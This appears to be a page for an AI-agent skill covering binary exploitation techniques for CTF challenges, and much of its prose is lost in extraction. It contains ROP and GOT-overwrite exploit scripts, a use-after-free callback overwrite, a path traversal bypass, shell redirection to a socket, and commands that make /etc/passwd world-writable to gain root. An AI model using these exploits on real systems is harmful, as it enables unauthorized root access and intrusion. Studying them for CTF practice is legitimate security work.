Loading...
Loading...
Binary exploitation (pwn) techniques for CTF challenges. Use when exploiting buffer overflows, format strings, heap vulnerabilities, race conditions, or kernel bugs.
npx skill4agent add ramzxy/ctf ctf-pwnpthreadusleep()sleep()bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'gets()scanf("%s")strcpy()printf(user_input)lseekCONFIG_SLAB_FREELIST_RANDOM=nCONFIG_SLAB_MERGE_DEFAULT=ncuse_lowlevel_main()fuse_main()openreadwriteDEVNAME=backdoor// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode)); // Arbitrary chmod!
}
}# Change /etc/passwd permissions via custom device
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
# 511 decimal = 0777 octal (rwx for all)
# Now modify passwd to get root
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root/etc/passwdroot::0:0:root:/root:/bin/shsu root/etc/passwd/etc/shadow/etc/sudoers| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
__free_hook__malloc_hookcyclic 200cyclic -l <value>checksec --file=binary// Common pattern in disassembly
void win(long arg) {
if (arg == 0x1337c0decafebeef) { // Magic check
// Open and print flag
}
}from pwn import *
# Find gadgets
pop_rdi_ret = 0x40150b # pop rdi; ret
ret = 0x40101a # ret (for stack alignment)
win_func = 0x4013ac
magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120 bytes to reach return address
payload = b"A" * offset
payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)fopen("flag.txt")callmovapsretpayload = b"A" * offset
payload += p64(ret) # Align stack to 16 bytes
payload += p64(pop_rdi_ret)
# ... rest of chainpush %rbp
mov %rsp,%rbp
sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
...
lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
mov $0xf0,%edx ; read() size = 240 (overflow!)rbp - buffer_offsetrbprbp + 8memmem()payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload# Find pop rdi; ret
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"
# Find simple ret (for alignment)
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"struct Student {
char name[36]; // offset 0x00 - data buffer
int *grade_ptr; // offset 0x24 - pointer to separate allocation
float gpa; // offset 0x28
}; // total: 0x2c (44 bytes)from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c # printf@GOT
# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)
# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
modify_name(0, payload)
# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
# 4. Trigger overwritten function -> jumps to winwinwin| Win uses | Safe GOT targets |
|---|---|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# Common gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Leak libc
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()
# exploit here
io.interactive()one_gadget libc.so.6 # Find one-shot gadgets
ropper -f binary # Find ROP gadgets
ROPgadget --binary binary # Alternative gadget finder
seccomp-tools dump ./binary # Check seccomp rulesfree()win()win()# UAP Watch pattern
create_report("sighting-0") # 64-byte struct with callback ptr at +56
leak = inspect_report(0) # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0) # Free chunk, dangling pointer remains
# Allocate same-size struct, overwriting callback
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0) # Calls dangling pointer → win()open()read()openat()openat2()sendfile()readv()writev()seccomp-tools dump ./binaryscmp_arg_cmpsub rsp, 0x10; jmp *%rspjmp shortscanf("%s")\x00# Sanitizer removes '.' and '/' but skips next char after match
# ../../etc/passwd → bypass with doubled chars:
"....//....//etc//passwd"
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)/proc/self/fd/N/proc/self/fd/3flag.txt# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save() # CSV row now has 11 columns
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load() # Now reads flag.txt into spreadsheet
print_spreadsheet() # Shows flag# Redirect stdin/stdout to client socket (fd 3 common for network)
exec <&3; sh >&3 2>&3
# Or as single command string
exec<&3;sh>&3ls -la /proc/self/fd # List open file descriptorssh<&3 >&3$0sh